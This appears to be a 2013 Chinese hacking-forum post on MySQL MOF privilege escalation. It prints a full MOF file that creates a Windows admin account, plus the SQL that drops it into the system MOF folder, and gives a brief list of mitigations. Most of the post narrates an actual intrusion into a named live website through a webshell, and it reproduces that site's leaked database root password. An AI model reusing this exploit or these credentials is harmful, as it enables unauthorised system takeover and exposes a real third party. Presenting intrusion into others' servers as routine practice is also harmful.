找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2498|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法9 ?& z" K) J  A" P% Q) q

  K3 u) n% P' Y+ h网上公开的一些利用代码:' J, ^. Y; c. O+ z$ F7 @

1 G( R2 |, `8 d* o5 k- a7 C! c3 \#pragma namespace(“\\\\.\\root\\subscription”)& Z7 j1 z/ Y( M6 M6 o- v7 R5 ], ^

1 v# ?% N+ z$ E& d; P7 Yinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
& Z" X1 |* h( v/ C
$ M5 I/ `4 G: t/ c/ ~' [3 w) J
% q  ?' `3 s( j
6 W7 V/ \8 B8 W9 m4 O+ p. D# H
/ s! D& M' [( l3 x1 v. ~$ Y8 `& t, T$ X
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
1 T! }% Q# V+ c( J# W/ C4 i* e从上面代码来看得出解决办法:& `+ `7 `& u' o4 J
  S, ^6 K  j. }
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数  ]. ]8 [1 Y1 {
* q, G% V# V' n4 b
2、禁止使用”WScript.Shel”组件
$ V& v( [. z  g" e8 C6 o0 l& _5 g- j/ S5 G. D/ L
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER' G+ f% g- ~) r% ?, H  u! {
: q! i+ {- I" U" Z% x1 R% v
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下$ S! \6 h6 }( r% M4 v) L( S

$ \( N0 U9 U" [1 E: _/ }$ N7 O, t事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
7 ~. H1 o0 ^1 _1 b# X2 ^3 a/ q2 W2 T9 y
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容" w9 t' o* X7 r% I  T# X/ W0 m  Q

& ~% X6 T) P# {$ i6 d& v, t1 L看懂了后就开始练手吧$ ^* S" ?+ e7 h' n# x

! s$ H. n7 |/ V/ |  o9 X8 khttp://www.webbmw.com/config/config_ucenter.php 一句话 a
; d" r+ n1 A" B
& R& \* z2 `2 M& M5 C$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
3 M+ W2 c. M, \. B8 h  T% d! ?6 N
5 e2 _: Z# J2 W1 I7 A于是直接用菜刀开搞1 k2 b- N0 [; k5 Q+ `

8 b" ~- G9 j, U: V5 p0 k* ?上马先
6 e5 X7 R! o* o  G( u. n3 K
& m: Q3 |0 ~+ E" o8 B既然有了那些账号 之类的 于是我们就执行吧…….! ~/ g1 R% L) k9 h; l  x
. d9 D# F+ V" [9 Q9 a) |
小小的说下
5 S8 [! F; W* g4 J
/ a3 T* [0 {1 A+ H% D4 t; Y在这里第1次执行未成功        原因未知
8 z9 S# Q1 j9 |0 N' ?  Q( m! J# ?
: w/ E- C8 F! |3 {" G我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
$ _* J& _% V: i9 [/ W& [6 [% A6 W; ^- H9 v
#pragma namespace(“\\\\.\\root\\subscription”)3 b5 w' _; x# E* q/ s

/ O& X0 d2 K+ M+ u$ z( H6 pinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };! n$ C0 U( f0 c

, R8 }( d% @0 V. I; e9 D我是将文件放到C:\WINDOWS\temp\1.mof
3 c! _# t* J' S0 A( Y  E+ f
8 v6 Z5 e, o0 o所以我们就改下执行的代码, h$ N9 ^; M" J: {" I( a; r! e  m

0 @4 ]$ Q* G2 W- Zselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;* z/ O5 q& @" p" e6 A, y  O

! Q  \  m+ @! v# G
* k; S/ x. n$ d) J2 `
! ]7 R. l: o8 U6 Q2 N) @  c但是 你会发现账号还是没有躺在那里。。. |4 z* v+ `; I8 F% R/ j! E/ y, V

* Z2 N& `, j  z) n于是我就感觉蛋疼
/ u9 V2 A6 h. ]7 a" a" N! p! g# J* q4 O3 C) t+ v* ~* T
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
2 H) C" N4 E: M+ l3 m! U! X
/ j) r7 h* }2 L# [4 K  ^/ g
, |! k6 t# ~  t3 d3 S0 X2 n0 G7 i. o
2 r% S- [) [1 }/ ?但是其他库均不成功…
8 R7 Q* S( ]; {" n
) D& Y$ }. ?7 T我就很费解呀 到底为什么不成功求大牛解答…4 q# ~8 b- @5 g4 K) P# I
3 m7 D5 A/ o; z* L
​! X, S0 J6 I  b) {; }/ w! W
- o/ x6 _" N4 l! B4 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表